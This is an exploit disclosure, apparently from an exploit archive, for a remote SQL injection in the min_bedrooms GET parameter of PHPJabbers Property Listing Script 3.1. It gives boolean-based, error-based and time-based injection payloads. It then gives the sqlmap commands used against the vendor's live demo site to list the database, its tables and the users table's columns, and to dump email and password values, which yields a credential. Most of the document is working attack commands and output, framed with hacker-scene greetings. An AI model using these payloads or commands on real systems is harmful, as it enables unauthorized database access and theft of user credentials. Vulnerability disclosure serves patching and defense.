Property Listing Script 3.1 SQL Injection

`┌┌────────────────────────────────────────────────────────────────────────────────────┐  
││ C r a C k E r ┌┘  
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││  
└────────────────────────────────────────────────────────────────────────────────────┘┘  
  
┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐  
┌┌────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ [ Exploits ] ┌┘  
└────────────────────────────────────────────────────────────────────────────────────┘┘  
: Author : CraCkEr │ │ :  
│ Website : phpjabbers.com │ │ │  
│ Vendor : PHPJABBERS │ │ Property Listing Script │  
│ Software : Property Listing Script 3.1 │ │ │  
│ Vuln Type: Remote SQL Injection │ │ Script will give you │  
│ Method : GET │ │ the tools to efficiently manage │  
│ Critical : High [░░▒▒▓▓██] │ │ your own real estate portal │  
│ Impact : Database Access │ │ │  
│ │ │ │  
│ ────────────────────────────────────────┘ └─────────────────────────────────────────│  
│ B4nks-NET irc.b4nks.tk #unix ┌┘  
└────────────────────────────────────────────────────────────────────────────────────┘┘  
: :  
│ Release Notes: │  
│ ═════════════ │  
│ Typically used for remotely exploitable vulnerabilities that can lead to │  
│ system compromise. │  
│ │  
┌┌────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ ┌┘  
└────────────────────────────────────────────────────────────────────────────────────┘┘  
  
Greets:  
Phr33k , NK, GoldenX, Wehla, Cap, ZARAGAGA, DarkCatSpace, R0ot, KnG, Centerk  
loool, DevS, Dark-Gost  
CryptoJob (Twitter) twitter.com/CryptozJob  
┌┌────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ © CraCkEr 2022 ┌┘  
└────────────────────────────────────────────────────────────────────────────────────┘┘  
  
  
Live Demo Site:  
  
https://www.phpjabbers.com/property-listing-script/#sectionDemo  
  
  
[INFO] GET parameter 'min_bedrooms' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable  
GET parameter 'min_bedrooms' is vulnerable.  
  
sqlmap identified the following injection point(s) with a total of 414 HTTP(s) requests:  
  
---  
Parameter: min_bedrooms (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: controller=pjListings&action=pjActionProperties&listing_search=1&min_bedrooms=1) AND 7719=7719 AND (2759=2759  
  
Type: error-based  
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)  
Payload: controller=pjListings&action=pjActionProperties&listing_search=1&min_bedrooms=1) AND GTID_SUBSET(CONCAT(0x716b627171,(SELECT (ELT(3030=3030,1))),0x71626a7871),3030) AND (5977=5977  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: controller=pjListings&action=pjActionProperties&listing_search=1&min_bedrooms=1) AND (SELECT 2245 FROM (SELECT(SLEEP(5)))iJfC) AND (1861=1861  
---  
  
sqlmap.py -u "https://demo.phpjabbers.com/1657921261_148/preview.php?controller=pjListings&action=pjActionProperties&listing_search=1&min_bedrooms=1" --current-db --batch --random-agent --threads 5  
  
[INFO] the back-end DBMS is MySQL  
web server operating system: Linux CentOS 6  
web application technology: Apache 2.2.15  
back-end DBMS: MySQL >= 5.6  
[01:13:36] [INFO] fetching current database  
[01:13:36] [INFO] retrieved: 'pjabbers_demo_pls'  
current database: 'pjabbers_demo_pls'  
  
sqlmap.py -u "https://demo.phpjabbers.com/1657921261_148/preview.php?controller=pjListings&action=pjActionProperties&listing_search=1&min_bedrooms=1" -D pjabbers_demo_pls --tables --batch --random-agent  
  
---  
Parameter: min_bedrooms (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: controller=pjListings&action=pjActionProperties&listing_search=1&min_bedrooms=1) AND 7719=7719 AND (2759=2759  
  
Type: error-based  
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)  
Payload: controller=pjListings&action=pjActionProperties&listing_search=1&min_bedrooms=1) AND GTID_SUBSET(CONCAT(0x716b627171,(SELECT (ELT(3030=3030,1))),0x71626a7871),3030) AND (5977=5977  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: controller=pjListings&action=pjActionProperties&listing_search=1&min_bedrooms=1) AND (SELECT 2245 FROM (SELECT(SLEEP(5)))iJfC) AND (1861=1861  
---  
  
[INFO] the back-end DBMS is MySQL  
web server operating system: Linux CentOS 6  
web application technology: Apache 2.2.15  
back-end DBMS: MySQL >= 5.6  
Database: pjabbers_demo_pls  
  
[66 tables]  
+----------------------------------------------------------------+  
| 1657528735_303_pls_30_property_listing_features |  
| 1657528735_303_pls_30_property_listing_fields |  
| 1657528735_303_pls_30_property_listing_multi_lang |  
| 1657528735_303_pls_30_property_listing_options |  
| 1657528735_303_pls_30_property_listing_passwords |  
| 1657528735_303_pls_30_property_listing_payments |  
| 1657528735_303_pls_30_property_listing_periods |  
| 1657528735_303_pls_30_property_listing_plugin_country |  
| 1657528735_303_pls_30_property_listing_plugin_galleries_set |  
| 1657528735_303_pls_30_property_listing_plugin_gallery |  
| 1657528735_303_pls_30_property_listing_plugin_locale_languages |  
| 1657528735_303_pls_30_property_listing_plugin_locale |  
| 1657528735_303_pls_30_property_listing_plugin_log_config |  
| 1657528735_303_pls_30_property_listing_plugin_log |  
| 1657528735_303_pls_30_property_listing_plugin_one_admin |  
| 1657528735_303_pls_30_property_listing_plugin_paypal |  
| 1657528735_303_pls_30_property_listing_plugin_sms |  
| 1657528735_303_pls_30_property_listing_properties_features |  
| 1657528735_303_pls_30_property_listing_properties |  
| 1657528735_303_pls_30_property_listing_roles |  
| 1657528735_303_pls_30_property_listing_types |  
| 1657528735_303_pls_30_property_listing_users |  
| 1657921261_148_pls_30_property_listing_features |  
| 1657921261_148_pls_30_property_listing_fields |  
| 1657921261_148_pls_30_property_listing_multi_lang |  
| 1657921261_148_pls_30_property_listing_options |  
| 1657921261_148_pls_30_property_listing_passwords |  
| 1657921261_148_pls_30_property_listing_payments |  
| 1657921261_148_pls_30_property_listing_periods |  
| 1657921261_148_pls_30_property_listing_plugin_country |  
| 1657921261_148_pls_30_property_listing_plugin_galleries_set |  
| 1657921261_148_pls_30_property_listing_plugin_gallery |  
| 1657921261_148_pls_30_property_listing_plugin_locale_languages |  
| 1657921261_148_pls_30_property_listing_plugin_locale |  
| 1657921261_148_pls_30_property_listing_plugin_log_config |  
| 1657921261_148_pls_30_property_listing_plugin_log |  
| 1657921261_148_pls_30_property_listing_plugin_one_admin |  
| 1657921261_148_pls_30_property_listing_plugin_paypal |  
| 1657921261_148_pls_30_property_listing_plugin_sms |  
| 1657921261_148_pls_30_property_listing_properties_features |  
| 1657921261_148_pls_30_property_listing_properties |  
| 1657921261_148_pls_30_property_listing_roles |  
| 1657921261_148_pls_30_property_listing_types |  
| 1657921261_148_pls_30_property_listing_users |  
| pls_30_property_listing_features |  
| pls_30_property_listing_fields |  
| pls_30_property_listing_multi_lang |  
| pls_30_property_listing_options |  
| pls_30_property_listing_passwords |  
| pls_30_property_listing_payments |  
| pls_30_property_listing_periods |  
| pls_30_property_listing_plugin_country |  
| pls_30_property_listing_plugin_galleries_set |  
| pls_30_property_listing_plugin_gallery |  
| pls_30_property_listing_plugin_locale |  
| pls_30_property_listing_plugin_locale_languages |  
| pls_30_property_listing_plugin_log |  
| pls_30_property_listing_plugin_log_config |  
| pls_30_property_listing_plugin_one_admin |  
| pls_30_property_listing_plugin_paypal |  
| pls_30_property_listing_plugin_sms |  
| pls_30_property_listing_properties |  
| pls_30_property_listing_properties_features |  
| pls_30_property_listing_roles |  
| pls_30_property_listing_types |  
| pls_30_property_listing_users |  
+----------------------------------------------------------------+  
  
sqlmap.py -u "https://demo.phpjabbers.com/1657921261_148/preview.php?controller=pjListings&action=pjActionProperties&listing_search=1&min_bedrooms=1" -D pjabbers_demo_pls -T pls_30_property_listing_users --columns --batch --random-agent  
  
fetching columns for table 'pls_30_property_listing_users' in database 'pjabbers_demo_pls'  
  
Database: pjabbers_demo_pls  
Table: pls_30_property_listing_users  
  
[12 columns]  
+------------+------------------+  
| Column | Type |  
+------------+------------------+  
| created | datetime |  
| email | varchar(255) |  
| fax | varchar(255) |  
| id | int(10) unsigned |  
| ip | varchar(15) |  
| is_active | enum('T','F') |  
| last_login | datetime |  
| name | varchar(255) |  
| password | blob |  
| phone | varchar(255) |  
| role_id | int(10) unsigned |  
| status | enum('T','F') |  
+------------+------------------+  
  
sqlmap.py -u "https://demo.phpjabbers.com/1657921261_148/preview.php?controller=pjListings&action=pjActionProperties&listing_search=1&min_bedrooms=1" -D pjabbers_demo_pls -T pls_30_property_listing_users -C email,password --dump --batch --random-agent  
  
fetching entries of column(s) 'email,password' for table 'pls_30_property_listing_users' in database 'pjabbers_demo_pls'  
  
Database: pjabbers_demo_pls  
Table: pls_30_property_listing_users  
  
[1 entry]  
+-----------------+----------+  
| email | password |  
+-----------------+----------+  
| [email protected] | P@S13rd |  
+-----------------+----------+  
  
  
[-] Done  
`